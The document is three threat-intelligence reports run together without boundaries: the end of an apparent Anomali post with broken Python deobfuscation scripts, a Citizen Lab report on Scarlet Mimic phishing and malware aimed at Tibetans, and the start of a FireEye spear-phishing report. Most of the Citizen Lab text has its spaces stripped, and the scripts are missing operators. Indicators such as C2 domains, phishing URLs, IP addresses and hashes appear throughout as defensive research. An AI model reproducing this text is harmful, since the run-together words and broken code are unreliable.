]com/info/hide?typename MITRE ATTCK Technique ID Name Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1059.007 Command and Scripting Interpreter: Javascript T1204.002 User Execution: Malicious File T1047 Windows Management Instrument Defense Evasion T1140 Deobfuscate/Decode Files or Information T1027 Obfuscated Files or Information T1497 Virtualization/Sandbox Evasion T1497.001 Virtualization/Sandbox: System Checks Discovery T1087.002 Account Discovery: Domain Account Appendix Script for deobfuscating VBA: 18/18 def fin_decode(list, keyS): keyOrd  [ord(l)for l in keyS] final_list  [] count  0 for num in list: key_2  keyOrd[count  len(keyS)] count  1 final_list.append(str(num - key_2)) finalList   .join(final_list) for n in range(0, len(final_list)): final_list[n]  int(final_list[n]) let  chr(final_list[n]) print(let, end) Script for deobfuscating the Javascript files: def xor(data, key): dict  A: 0, B: 1, C: 2, D: 3, E: 4, F: 5, G: 6, H: 7, I: 8, J: 9, K: , length  len(key) dictD  [dict[d] for d in data] values  .join(str(x) for x in dictD) values  values.strip(,) values  values.split(,) d  [int(k) for k in values] key_ord  [ord(m) for m in key] decode count  0 for i in d: decode  chr(i  key_ord[count  length]) count  1 print(decode) Topics: Research https://www.anomali.com/blog/category/research
ShiftingTactics:Trackingchangesinyearslong espionagecampaignagainstTibetansTheCitizenLab March10,2016 ByJakubDalek,MasashiCreteNishihata,andJohnScottRailton Summary ThisreportdescribesthelatestiterationinalongrunningespionagecampaignagainsttheTibetan community.
Wedetailhowtheattackerscontinuouslyadapttheircampaignstotheirtargets,shifting tacticsfromdocumentbasedmalwaretoconventionalphishingthatdrawsoninsideknowledgeof communityactivities.
Thisadaptationappearstotrackchangesinsecuritybehaviorswithinthe Tibetancommunity,whichhasbeenpromotingamovefromsharingattachmentsviaemailtousing cloudbasedfilesharingalternativessuchasGoogleDrive.
WeconnecttheattackgroupsinfrastructureandtechniquestoagrouppreviouslyidentifiedbyPalo AltoNetworks,whichtheynamedScarletMimic.
WeprovidefurthercontextonScarletMimics targetingandtactics,andtheintendedvictimsoftheirattackcampaigns.
Inaddition,whileScarlet Mimicmaybeconductingmalwareattacksusingotherinfrastructure,weanalyzehowtheattackers repurposedaclusteroftheirmalwareCommandandControl(C2)infrastructuretomounttherecent phishingcampaign.
Thismoveisonlythelatestdevelopmentintheongoingcatandmousegamebetweenattackgroups likeScarletMimicandtheTibetancommunity.
Thespeedandeasewithwhichattackerscontinueto adapthighlightsthechallengesfacedbyTibetanswhoaretryingtoremainsafeonline.
Background TheTibetancommunityhasbeenthetargetofmalwareenabledespionagecampaignsforovera decade.
Theattackersresponsibleforthesecampaignsarerelentlessintheirattemptsto compromisenetworksandharvestsensitiveinformation.
Theseattacksoftendemonstratehighlevels ofsophisticationinthesocialengineeringusedtoenticetargetstoopenmaliciousattachmentsor links,butaretypicallynotverytechnicallyadvanced.
Acommontechniqueistheuseofdocument basedmalware.
Inarecentfouryearstudyontargetedmalwareattacksagainstcivilsociety,which includedsixTibetangroups,wefoundthatdocumentbasedmalwarewasthemostcommonattack vector,accountinginsomecasesforupto95percentofallattacksagainstspecificTibetangroups.
TheTibetancommunityhasrecognizedthesepatternsandmadeeffortstochangeuserbehaviorsto mitigatetheattacks.
Forexample,groupshavestartedadigitalsecuritytrainingcampaigncalled DetachfromAttachments,whichurgesuserstoavoidsendingoropeningemailattachments,and tousecloudbasedstorage(e.g.
,GoogleDrive)tosendfilesinstead.
However,asthecommunity https://www.youtube.com/watch?vv4E1SRDmtZE http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/ https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf https://targetedthreats.net/ https://www.youtube.com/watch?vv4E1SRDmtZE changesbehaviors,sodotheattackers.
Recently,PaloAltoNetworksreportedonayearslongespionagecampaigntheycallScarletMimic thattargetedTibetanandUyghurgroups(aswellasgovernmentagenciesinRussiaandIndia).The ScarletMimiccampaignsareatypicalexampleoftheattackscivilsocietyfaces.
Carefullycrafted emailluresaresenttotargetscarryingexploitsthatleveragewellknownvulnerabilities(e.g.
,CVE 20120158lt,CVE20103333),whichwehaveseenusedincampaignsagainstTibetangroups frequentlyinrecentyears.
Inthispost,weshowthatserversusedasmalwareC2infrastructurebyScarletMimicarenow hostingphishingpagesdesignedtostealGooglecredentialsfromTibetanactivistsandjournalists.
Thisshiftintacticsfrommalwaretophishingcampaignssuggeststhattheattackersareadaptingto behavioralchangesintheTibetancommunity.
Inthefollowingsections,weprovideanoverviewof malwarecampaignsconnectedtoScarletMimicweobservedtargetingTibetangroupsfrom2013 2014,andanalyzehowthesameinfrastructureisnowbeingusedtohostawaveofphishingattacks.
Weconcludewithdiscussionofwhatmayhavemotivatedthischangeintactics,andprovide recommendationsfortargetedusers.
Part1:ScarletMimicCampaignsagainstTibetans AccordingtoPaloAltoNetworks,ScarletMimichasbeenactiveforatleastfouryears.
Theattack groupprimarilyuseswellknownvulnerabilitiesandtheFakeMmalwarefamilyfirstreportedby TrendMicroin2013,whichattemptstodisguiseitsmalicioustrafficascommonlyusedprotocols.
AclusterofScarletMimicattacksusedtheFakeMCustomSSLvariantandweredeployedonC2 infrastructurethatreliedonfreedomainsprovidedbySecurepoint,aGermandynamicDNSservice.
DynamicDNSservicestypicallyallowanyonetomakefreesubdomainsfromamaindomain.
Inthe caseofSecurepoint,thisserviceallowsanyonetomakefreesubdomainsfrom.firewall gateway.com,.mygateway.org,.myfirewall.organdothers.
Wespeculatethattheattackers mayhaveselectedthisparticularservice,becausethedomainshaveinnocuoustechnicalnames (e.g,.firewallgateway.com)thatmayescapecasualscrutiny.
Thesekindsofdomainscan changeownershipovertimeandmaybesharedbymanyunrelatedusers,whichcanalsomake analysismorechallenging.
OuranalysisofattacksagainsttheTibetancommunityrevealsaseriesofcampaignsactivefrom 2013to2014usingtheFakeMCustomSSLvariantanddynamicDNSinfrastructurethatislinkedto ScarletMimic.
ThesemalwaresamplesaredescribedindetailinthePaloAltoNetworksScarlet Mimicreport.
Throughourengagementwiththetargetedgroups,weprovidefurthercontextthat demonstratesthelevelofsocialengineeringandtargetingputintotheattacks.
Understandingthis contextprovidesinsightsintotheattackerstactics,includingtheirlaterpivottophishingcampaigns.
Campaign1 http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/ http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3333 https://targetedthreats.net/ http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf https://www.spdns.de/ https://github.com/publicsuffix/list/pull/65/files?diffsplit http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/ ThefirstattackthatweconnectedtoScarletMimicwasobservedinaJuly3,2013email.
Theemail wassenttotheinternalmailinglistforasteeringcommitteeofaTibetanNGO,andwashighly customized.
ThemessagespoofedtheemailoftheNGOsdirector,anddemonstratedfamiliarity withtheinternalworkingsoftheorganization.
Underthepretextofanupdatedstrategicplan,thee mailencouragedrecipientstoopentheattacheddocumenttitled[OrganizationName]Updated StrategicPlan.doc From:[Redacted] Date:03Jul2013 Subject:Re:[SteeringCommittee]conclusionstoStrategicPlanReview To:[Redacted] DearSteeringCommitteeMembers,ThankseveryoneforallofthegoodsuggestionsHereisthe UpdatedStrategicPlanandwerelookingforwardtomorecommentsplease [Redactedsignature] Themaliciousattachmentinstallsthefilepshvb.exewiththeMD5hash: 8b83fc5d3a6a80281269f9e337fe3fff ThishashmatchesaFakeMCustomSSLvariantsampledescribedinthePaloAltoNetworksreport.
ThemalwareconnectedtoaC2serveronthedomain:news[.]firewallgateway[.
]com.
Atthe timeoftheattackthisdomainresolvedtotheIPaddress109[.]169[.]77[.
]230,andwashosted onUKbasedvirtualserverprovideriomart Campaign2 WeobservedtheattackersagainonMarch19,2014whentheytargetedadifferentTibetangroup.
TheattackmasqueradedasamessagefromarepresentativeoftheOfficeofHisHolinesstheDalai Lama(HHDL)inTaiwanandcontainedanattachmentthatreferencedanupcomingvisitofHHDLto Japan.
Similartothepreviousattack,theattachmentdroppedtheFakeMCustomSSLvariant,andisalso referencedinthePaloAltoNetworksreport.
InthiscasethemalwareconnectedtotheC2 detail43[.]myfirewall[.
]org,whichatthetimeoftheattackalsoresolvedtothesameIP addressasthepreviouscampaign,109[.]169[.]77[.
]230.
AnothersetofattacksspannedfromJunetoJuly2014targetingthesameTibetangroupanda numberofTibetanjournalists.
TheTibetangroupreceivedmultipleemailspurportedlyfromNGOs workingonTibetanissues,whilethejournalistswereenticedbyapromiseofsurveyresultson Tibetanpoliticalattitudes.
AlloftheseattacksusedthesameFakeMCustomSSLvariantandconnectedtotheC2 sys[.]firewallgateway[.]net,whichresolvedto95[.]154[.]195[.
]159atthetimeofthe attackandwasalsohostedonUKserverprovideriomart.
SeeFigure1foranoverviewofthe campaign.
http://www.iomart.com/ Part2:OldInfrastructure,NewTricks ThroughoutNovember2015weobservedScarletMimicsC2infrastructurebeingrepurposedtohost phishingattacksagainsttheTibetancommunity.
Thephishingcampaignweidentifiedconsistedof targetedemailswithemailsendersandmessagesthatarerelevanttotheTibetancommunity.
The emailsappearedtosharelinkstodocumentsorvideosonGoogleDriveorvideosharingwebsites.
ThePhishingCampaign UsingtheexampleofanemailsenttoTibetanjournalists,wecandemonstratehowatypical phishingattackinthecampaignworks.
TheemailmasqueradesassentbyaTibetanactivist, describesavideoonChinaandTibet,andsharesalinktowhatappearstobeavideosharingsite.
From:DorjeeTenzintenzinsftgmail.com Date:22Nov2015 Subject:HowCHINAtakescareofTibetandTibetansvideo To:[Redacted] ThisvideoHowCHINAtakescareofTibetandTibetansisshortandeasytounderstand.
Must watch.
http://www.downvids.net/howchinatakescareoftibetandtibetans595657.html Infact,thelinkdirectstheusertoaphishingpage: http://accountgoogle[.]firewallgateway[.
]com/serviclogin ThesitedisplaysalookaliketotheGoogleGmailloginpage(seeFigure2).
Interestingly,theloginpageusedbytheattackersisslightlyoutdated.
Theirversionincludesboth usernameandpasswordpromptsonthesamepage.
Googlehasbeenusingatwopromptprocess forauthenticationsinceMay2015 Ifavictimenterstheircredentials,thedataissenttotheattackersviaanHTTPPOSTrequestthatis formattedas:http://accountgoogle.firewallgateway.com/serviclogin/ojkiojr09[.
]asp.
AnexampleofthedatathatissentbacktoattackersisprovidedinFigure3.
Figure1:OverviewofCampaign2,showinghowthesamemaliciousfilesarespreadusingdifferentpretexts.
Figure2:ComparisonofGoogleloginphishingpage(left)andauthenticGoogleloginasofMarch2016(right).
https://productforums.google.com/forum/topic/gmail/oAsE-6wmaSU DecoyContent Onceauserenterstheircredentialstheyareredirectedtodecoycontent.
Intheexampleattack againstTibetanjournalists,ifthevictimenteredtheircredentialstheywereredirectedtothevideo HowCHINAtakescareofTibetandTibetansonthevideosharingsitereferencedintheemail(see Figure4).
Thedestinationcontentthattheuserissenttoisdeterminedbyastringinthesubdirectoryofthe URLthathasvariousmisspellingsofservicelogin.
Intheemailswecollected,wefoundthree subdirectoryvariations: http://filegoogle[.]firewallgateway[.
]com/servicelogin http://accountgoogle[.]firewallgateway[.
]com/serviclogin http://accountgoogle[.]firewallgateway[.
]com/servicclogin WespeculatethatthelastpartoftheURL,ojkiojr09inourexampleURL (http://accountgoogle.firewallgateway.com/serviclogin/ojkiojr09[.
]asp)maybea campaigncode,orawayfortheattackerstodifferentiateontheirendwhoisaccessingthephished page,andthedestinationcontenttowhichtheyshouldbeforwarded.
Weseeasimilarstringin anotheroftheemailsthatmaybeusedforthispurpose:http://filegoogle[.
]firewall gateway[.]com/servicelogin/sfwef[.
]asp PhishingCampaignTimeline WehaveobservedthecampaignactivebetweenatleastNovember9,2015toDecember18,2015.
DuringthisperiodwecollectedthreephishingemailssenttoTibetanjournalistsandNGOs.
MonitoringtheURLsthatlinktothephishingpagerevealsthatthedestinationcontenttowhichthe userwouldbeforwardedwaschangedfrequently.
Thesechangessuggestthatthecampaignwas Figure3:Asampleofthedatasenttotheattackers.
TheEmailandPasswordfieldsarethemostrelevant.
Figure4:Screenshotofdestinationcontent.
activebeyondthethreeemailswecollectedandtheattackersweresendingoutadditionalemails withmessageslinkedtothenewdestinationcontent.
Figure5providesatimelineforthecampaignandshowswhenemailswerereceived,theoriginal destinationcontentprovided,andchangestothedestinationcontentovertime.
OnDecember18the serverswereup,butnocontentwasbeingservedinreplytologins.
Whileweonlycollectedthreeemailsduringthespanofthecampaign,changesinthedestination contentsuggestthetimingandthemeoffurtherphishingattacks.
OnNovember25,2015the destinationcontentonURLs1and2werebothchangedtoclimatechangerelatedcontent.
ThecontentredirectedfromURL1waschangedtoapublicGoogleDrivefolderthatcontained campaignmaterialsonclimatechangefromaTibetanNGO.ThecontentredirectedfromURL2was changedtoawebsiteusedtoorganizetheGlobalClimateMarch(globalclimatemarch.org),a demonstrationtoraiseclimatechangeawareness.
Theclimatechangethemeissignificant.
DuringthisperiodTibetanorganizationsweretakingpartin advocacytoraiseawarenessonclimatechangeinTibetanareasinanticipationoftheUnitedNations ConferenceonClimateChangeheldinParis,FrancefromNovember30toDecember12,2015.
SeeAppendixAfordetailsoneachattackanddestinationcontentchange.
OverlapwithScarletMimic SimilartothepreviousFakeMCustomSSLcampaigns,thephishingpagesuseddomainsprovided bySecurepointsdynamicDNSservice: filegoogle[.]firewallgateway[.
]com accountgoogle[.]firewallgateway[.
]com detail43[.]myfirewall[.
]org Similartothepreviousmalwarecampaigns,allthreeofthesedomainsarealsohostedoniomart.
WeobservedthefirstphishingcampaignusingthisinfrastructureinearlyNovember2015.During thistime,twoofthedomains(filegoogle[.]firewallgateway[.
]com, accountgoogle[.]firewallgateway[.]com)resolvedtotheIPaddress95[.]154[.]195[.
]171.
WefurtherinvestigatedthisIPaddressthroughpassiveDNSdatasourcesinPassiveTotalandfound additionaldomainsthatmatchthefirewallgatewaynamingschemeobservedintheScarlet Mimicmalwarecampaigns: accountsgoogle[.]firewallgateway[.
]com accountsgoogle[.]firewallgateway[.
]com accountsgoogles[.]firewallgateway[.
]com Figure5:Timelineofphishingcampaign(seeAppendixAforfulldetails).
http://www.cop21.gouv.fr/en/ https://www.passivetotal.org/ googlefile[.]firewallgateway[.
]net firewallupdate[.]firewallgateway[.
]com firewallupdate[.]firewallgateway[.
]net drivgoogle[.]firewallgateway[.
]com Table1showsconnectionsbetweendomainsidentifiedbyPaloAltoNetworks,domainsweseeused asC2serversinthepreviousmalwarecampaigns,andrelationstoservershostingtherecent phishingcampaigns.
TheoverlapindomainsandpassiveDNSrecordsshowstheinfrastructure relationshipsbetweenthepreviousScarletMimiccampaignsandrecentphishingcampaigns.
ASNName IPAddress Domain Citlab Seen FakeM Custom HOLGRhellasonlineElectronic CommunicationsS.A.,GR 5.54.19.17 drivgoogle.firewall gateway.com X IOMARTASIomart,GB 78.129.252.159 admin.spdns.org X firefox.spdns.de X intersecurity.firewall gateway.com X kaspersky.firewall gateway.net X kissecurity.firewall gateway.net X opero.spdns.org X 87.117.229.109 detail43.myfirewall.org X X 95.154.195.171 accountgoogle.firewall gateway.com X accountsgoogle.firewall gateway.com X accountsgoogles.firewall gateway.net X filegoogle.firewall gateway.com X firewallupdate.firewall gateway.com X firewallupdate.firewall gateway.net X X googlefile.firewall gateway.net X news.firewall gateway.com X X sys.firewall gateway.net X X 109.169.40.172 economy.spdns.de X LGIUPCLibertyGlobal OperationsB.V.,AT 46.127.56.109 mail.firewall gateway.com X NEWMEDIAEXPRESSASAP NewMediaExpressPteLtd.
SingaporeWebHostingService Provider,SG 192.253.251.118 aaa123.spdns.de X Table1:ComparisonofdomainsandhostingseenbyCitizenLab(labelledCitizenLabSeen)and theFakeMCustomSSLclusterdescribedintheScarletMimicreport(labelledFakeMCustom).
EvidenceofOtherCampaigns Weleveragedpatternsintheconfigurationofthephishingserverstoidentityadditionalservers.
The IPaddress95[.]154[.]195[.
]171thatwesawpreviouslywasusingMicrosoftIISwebserver version6andwasconfiguredtoforbidaccesstothetopleveloftheURLpath.
Usingthesearch engineShodanwescannedallserversoniomartthatranIIS6andforbidaccesstotherooturlpath withthequery: port:80IIS/6.0forbiddentitle:ErrorContentLength:218country:GBorg:iomart ForallthematchedserverswesentaquerytotheURLpath(/servicelogin/ojkiojr09.asp), whichisusedtoredirectvictimstodestinationcontentinthephishattacks.
Thepurposeofthisquery wastotodetermineifanyotherserverswouldforwardustocontentinthesamemannerwehad observedintheattacks.
WefoundoneotherIPaddress(87[.]117[.]229[.
]109)oniomartthatrespondedtothisquery.
WeobservedthisserverrespondingwitharedirecttoanarticlebyRadioFreeAsiaregardingthe arrestoftheauntofTenzinDelekRinpoche,aTibetanmonkwhorecentlydiedwhileinaChinese prison.
WesawthiscontentactivefromNovember30,2015toDecember3,2015,whentheforwardlink https://www.shodan.io/ http://www.rfa.org/english/news/tibet/detained-07172015135210.html stoppedworking,whichmaymeanthatthecampaigncompletedatthistime.
WeusedPassiveTotaltoidentifywhichdomainspointedtobothIPaddressesfromMarch2015to December2015andsawanoverlapacrossthreedomains: sys[.]firewallgateway[.
]net news[.]firewallgateway[.
]com firewallupdate[.]firewallgateway[.
]net Thedomain:firewallupdate[.]firewallgateway[.
]netwasreferencedinthePaloAlto NetworkreportandpointedtoboththeIPsweidentifiedatdifferenttimes(seeFigure6).
AdditionallythisnewIPhadtwoadditionaldomainsthatwerealsousingtheSecurepointdynamic DNSservice:updata[.]firewallgateway[.]comandaccountsgoogle[.]firewallgateway[.
]com.
Wesawoneofthedomains:detail43[.]myfirewall[.
]orgusedasaC2serverforanattackin thepreviouslydescribedScarletMimiccampaignfrom2014.
WhytheShifttoPhishing?
WhenScarletMimicshiftedtactics,theyfailedtoproperlycompartmentalizetheirphishingand malwareoperations,relyingonknownC2infrastructureforthenewphishingcampaigns.
Although theytrieddifferentattackvectorstheystillfellbackonoldhabitsandresourcesthatcouldbe leveragedbyanalysts.
Monitoringtheinfrastructureenabledustotrackthecampaignsovertimeand demonstratestheimportanceofinfrastructureanalysisforsecurityresearchers.
Theshifttophishingcampaignsissignificant,asPaloAltoNetworksonlyobserveddocumentbased malwareattacks.
[1]Importantly,ScarletMimicmaybecontinuingtoconductasyetunreported malwarecampaignsonotherinfrastructure.
Thereareanumberofpotentialexplanationsforthis change.
ThephishingcampaignstargetedmultipleorganizationsandindividualsintheTibetancommunity.
Manyofthesegroupsactasdistributednetworks,withstaffmembersandcollaboratorsaroundthe world.
Theattackersare,therefore,notnecessarilytargetingcompromiseofofficenetworks,but rathersocialnetworks.
Credentialphishingisapotentiallymoreefficientmeansofgainingaccessto thesenetworksthandocumentbasedmalware.
Inaddition,thepromotionofbehavioralchangesintheTibetancommunityandtheuseofdocument sharingplatformssuchasGoogleDocsoveremailattachmentsmayhaveputpressureonattackers tacticsandledthemtoexperimentwithsimpler,butpotentiallyeffectivevectors,suchasphishing.
In otherattacksagainsttheTibetancommunityoverthepastyearwehavealsoseenmalwaresentvia GoogleDrivelinksintargetedemails.
TheScarletMimicphishingcampaignsaddfurtherevidence thatattackersareattemptingtoleveragethewideuseandtrustofGoogleapplicationsintheTibetan community.
Figure6:DomainoverlapbetweentwoiomartIPsinthephishinginfrastructure.
http://passivetotal.org/ https://citizenlab.org/2016/03/shifting-tactics/f1 https://citizenlab.org/2015/06/targeted-attacks-against-tibetan-and-hong-kong-groups-exploiting-cve-2014-4114/ ItisalsopossiblethattherisingdetectionsbyantivirusproductsofScarletMimicspreferredmalware toolkitplayarole.
Outofthe74FakeMsamplehashesprovidedinthePaloAltoNetworksScarlet Mimicreport,61areavailableonVirusTotal.
WhenthesampleswerefirstsubmittedtoVirusTotal somehadzerodetectionsandanoverallaveragedetectionrateof38percent.
Followingthe publicationofthePaloAltoNetworksreporttheaveragedetectionincreasedto54percent.
The currentaveragedetectionrateis71percent,thehighestis80percent(46/57antivirusscanners), andthelowestis51percent(23/45antivirusscanners).Thesecurrentdetectionratesmaymake themalwarethattheattackersusedinpastattackslessreliableforsuccessfulinfection.
Whilethe attackerscouldbepivotingtonew,lessdetectablemalware,simplephishingattacksmayalsoinvolve lesseffortandachievehighersuccessagainstjournalistsandNGOtargets.
Finally,wecannotruleoutthatconvertingburnedorlowutilitycommandandcontrolservers tophishingmightalsobeintentionaldowncyclingofinfrastructure,beforeitisdiscarded.
Phishing, inotherwords,maybethelaststopbeforedomainsandserversthatarelosingvaluearefinally givenup.
Conclusion TheTibetancommunityhasbeentargetedbysophisticated,persistentattackersforoveradecade.
ScarletMimicisjustoneoftheseattackgroups,andovertheyearstheyhavedemonstrateddeep familiarityandinsideknowledgeoftheTibetangroupstheytarget.
Theyhavealsoshownthemselves tobeadaptableandresponsivetochangesinthesecuritybehaviorsoftheirtargets.
Theirmostrecentturntophishingseemstoreflectthisadaptability(althoughweleaveopenthe possibilitythatmalwareattacksarecontinuing,usingotherinfrastructure).Anumberoffactorsmay haveplayedaroleinthistransition,includinganincreaseincertainsecuritybehaviorswithinthe Tibetancommunity(suchasnotopeningorsendingattachments),andincreasingratesofdetection byantivirusproducts.
Theinformationtargetedbythisgroupissensitive,andinthehandsofawellresourcedadversary, suchasthesponsorofScarletMimic,couldcauseharmtothesafetyandsecurityofindividualsin Tibet.
Theextractedinformationcouldalsobeusedinsupportofeffortstofrustrateandisolate politicalgroupsintheTibetandiaspora.
Phishingreliesontrickingusersintoenteringcredentials.
Inthiscase,thereareseveraltelltalesigns (suchasaslightlyoutdatedGmailloginphishingpage)thatmaysuggesttopotentialvictimsthat somethingisnotquiteright.
However,therearealsoanumberoftoolsandtacticsavailableto usersintheTibetancommunityandbeyondtostaysafeonlineWedescribeseveralofthesebelow.
WhatCanTargetedUsersDo?
Tools Usetwofactorauthentication.
Thisfeatureisavailableonmanypopularemailandsocial http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/ networkservicesincludingthosefromGoogle,Facebook,Microsoft,Yahoo,andothers.
Enabling twofactorauthenticationmeansyouhavetoenteryourpasswordaswellasacodeprovidedbya text,app,orsecuritykeytoaccessyouraccount.
Thesecondfactorhelpsprotectyoufrom credentialtheft.
PasswordAlert[getitbyclickinghere]isaChromeextensiondevelopedbyGooglethatnotifies youifyouenteryourGooglecredentialsintoanypagesotherthantherealGoogleloginpage (https://accounts.google.com).
Behavior Alwaysbecautiousaboutemailscontaininglinksorattachmentsandcarefullyexaminetheemail senderaddressinsuspiciousmessages.
IfanemailcontainsalinkalwaysverifythatthedomainintheURLmatchesthelinktext.
ForfurtherresourcesondigitalsecurityseeTibetActionInstitutesBeaCyberSuperHeroproject.
Footnotes 1.Theonedivergencefromthispatternthathasbeenpreviouslyreportedwasa2013StrategicWeb Compromise(SWC)attackagainsttheTibetanAllianceofChicagoswebsitedocumentedby WebSense.
ASWCisanattackinwhichattackerscompromisenormallytrustedwebsitesandserve maliciouscodetospecificvisitors.
Inthiscase,theattackersusedtheTibetanwebsitetoservean InternetExplorervulnerability(CVE20124969)thatwaspatchedin2012.Thisattackusedthe domainmail[.]firewallgateway[.
]comasaC2,whichisfromthesamedynamicDNSservice astheFakeMSSLCustomvariantattacks.
Acknowledgements ThisresearchwassupportedbytheJohnD.andCatherineT.MacArthurFoundation(Professor RonaldJ.Deibert,PrincipalInvestigator).SpecialthankstoPassiveTotal,RonDeibert,Lobsang Gyatso,SarahMcKune,AdamSenft,andNartVilleneuve.
AppendixA:PhishingCampaignsinDetail PhishingAttack1 ThefirstphishingattackwesawwassentonNovember9,2015toagroupofTibetanjournalists.
The messagepurportedtocontainalinktoadocumentwithinformationonacontroversialBuddhistsect knownasDorjeShugdenorDolgyal,whichhasbeeninvolvedinprotestsagainsttheDalaiLama.
From:ChoephelTenzintenzinch128gmail.com Date:Mon,Nov9,2015 https://www.google.ca/landing/2step https://www.facebook.com/notes/facebook-engineering/introducing-login-approvals/10150172618258920/ http://windows.microsoft.com/en-ca/windows/two-step-verification-faq https://www.yahoo.com/tech/how-and-why-to-turn-on-two-step-verification-for-your-96544144259.html https://chrome.google.com/webstore/detail/password-alert/noondiphcddnnabmjcihcjfbhfklnnep?hlen https://accounts.google.com/ https://www.cybersuperhero.net/ http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ http://community.websense.com/blogs/securitylabs/archive/2013/08/16/tibetan-compromise.aspx http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-4969 https://en.wikipedia.org/wiki/Dorje_Shugden Subject:WhoisdemonstratingagainsttheDalaiLama To:[Redacted] FileregardingDolgyal.
WhoisdemonstratingagainsttheDalaiLama.doc ThelinkWhoisdemonstratingagainsttheDalaiLama.docactuallygoesto http://accountgoogle[.]firewallgateway[.
]com/servicclogin.
Whenwefirstcheckedthis linkonNovember13,thepagewasdownandwethereforedonotknowwhattheoriginaldestination contentwasforthisattack.
DestinationContentSwitch OnNovember25thelinkwasactiveandthedestinationcontentwasapublicGoogleDrivefolderthat containedcampaignmaterialsonclimatechangefromaTibetanNGO.Theclimatechangethemeis significant,asduringthisperiodTibetanorganizationsweretakingpartinadvocacytoraise awarenessonclimatechangeinTibetanareasinanticipationoftheUnitedNationsConferenceon ClimateChangeheldinParis,FrancefromNovember30toDecember12,2015.
PhishingAttack2 ThesecondphishingattackwassenttoTibetanjournalistsonNovember22,2015.
InthiscasetheemailwasmadetoappeartocomefromaTibetanactivist,describesavideoon ChinaandTibet,andsharesalinktowhatappearstobeavideosharingsite,butisactually http://accountgoogle[.]firewallgateway[.
]com/serviclogin.
From:DorjeeTenzintenzinsftgmail.com Date:22Nov2015 Subject:HowCHINAtakescareofTibetandTibetansvideo To:[Redacted] ThisvideoHowCHINAtakescareofTibetandTibetansisshortandeasytounderstand.
Must watch.
http://www.downvids.net/howchinatakescareoftibetandtibetans595657.html OnNovember22,2015,ifusersenteredtheircredentialsintotheGoogleloginphishingpagethey wouldberedirectedtothevideodescribedintheemail.
DestinationContentSwitch OnNovember25,2015,thedestinationcontentwaschangedtoawebsiteusedtoorganizethe GlobalClimateMarch(globalclimatemarch.org),ademonstrationtoraiseclimatechange awarenessaroundtheUnitedNationsConferenceonClimateChange.
TheNovember25,2015destinationcontentchangesharesthetimingandthemeofthechangewe observedonthepreviousURLpathvariation.
Whilewedonothaveadditionalphishingemailsfrom thisperiod,thesecommonalitiessuggesttheattackersweresendingphishingemailswithclimate changethemesaroundNovember25,2015.
PhishingAttack3 OnNovember23,2015,anemailappearingtobefromthePressOfficeroftheCentralTibetan AdministrationwassenttomultipleTibetanjournalists,activists,andNGOstaffmembers.
From:TseringWangchukeuhrdesk.diirgmail.com Date:23Nov2015 Subject:PressInvitation To:[Redacted] PressInvitation ThemediaiscordiallyinvitedbytheElectionCommissionoftheCentral TibetanAdministrationitspressconferenceregardingtheupcomingSikyong andTibetanfinalelectionsatLhakpaTseringhall,DIIR,onNovember27,2015,at10:00AM.
PressInvitation.pdfTseringWangchuk PressOfficer 918679208465 www.tibet.net Twitter:https://twitter.com/Pressofficerct Facebook:https://www.facebook.com/lhuabu DIIR,CENTRALTIBETANADMINISTRATION ThePressInvitation.pdflinkactuallygoestohttp://filegoogle[.
]firewall gateway[.
]com/servicelogin.
OnNovember23,whentheemailwassent,iftheuserenteredtheir credentialsintothephishingpagetheywouldberedirectedtoaGoogleDoccontainingacopyofan opedwrittenbytheCentralTibetanAdministrationonclimatechange.
Thedestinationcontentand theemailmessagedonotmatchinthiscase,whichmaybeevidenceoftheattackersneglectingto switchoutcontentfromapreviouscampaign.
DestinationContentSwitch OnNovember26,2015,thedestinationcontenttowhichthephishingpageredirecteduserswas changedtoaGoogleDrivedocumentthatprovidestheprogramforavisittoDharamsala,Indiaby ChileanParliamentarians.
AppendixB:IndicatorsofCompromise ScarletMimicMalwareCampaign1 Binaries MD5:fef27f432e0ae8218143bc410fda340e CommandandControlServers news.firewallgateway[.
]com ScarletMimicMalwareCampaign2 Attack1 Fileattachments Filename:20140317144336097.DOC MD5:3b869c8e23d66ad0527882fc79ff7237 Binaries Filename:cghnt.exe MD5:1bf438b5744db73eea58379a3b9f30e5
APT Group Sends Spear Phishing Emails to Indian Government Officials www.fireeye.com /blog/threat-research/2016/06/apt_group_sends_spea.html Introduction On May 18, 2016, FireEye Labs observed a suspected Pakistan-based APT group sending spear phishing emails to Indian government officials.
This threat actor has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets.
This group frequently uses a toolset that consists of a downloader and modular framework that uses plugins to enhance functionality, ranging from keystroke logging to targeting USB devices.
We initially reported on this threat group and their UPDATESEE malware in our FireEye Intelligence Center in February 2016.
Proofpoint also discussed the threat actors, whom they call Transparent Tribe, in a March blog post.
In this latest incident, the group registered a fake news domain, timesofindiaa[.
]in, on May 18, 2016, and then used it to send spear phishing emails to Indian government officials on the same day.
The emails referenced the Indian Governments 7th Central Pay Commission (CPC).
These Commissions periodically review the pay structure for Indian government and military personnel, a topic that would be of interest to government employees.
Malware Delivery Method In all emails sent to these government officials, the actor used the same attachment: a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload.
In previous incidents involving this threat actor, we observed them using malicious documents hosted on websites about the Indian Army, instead of sending these documents directly as an email attachment.
The email (Figure 1) pretends to be from an employee working at Times of India (TOI) and requests the recipient to open the attachment associated with the 7th Pay Commission.
Only one of the recipient email addresses was publicly listed on a website, suggesting that the actor harvested the other non-public addressees through other means.
Figure 1: Contents of the Email A review of the email header data from the spear phishing messages showed that the threat actors sent the emails using the same infrastructure they have used in the past.
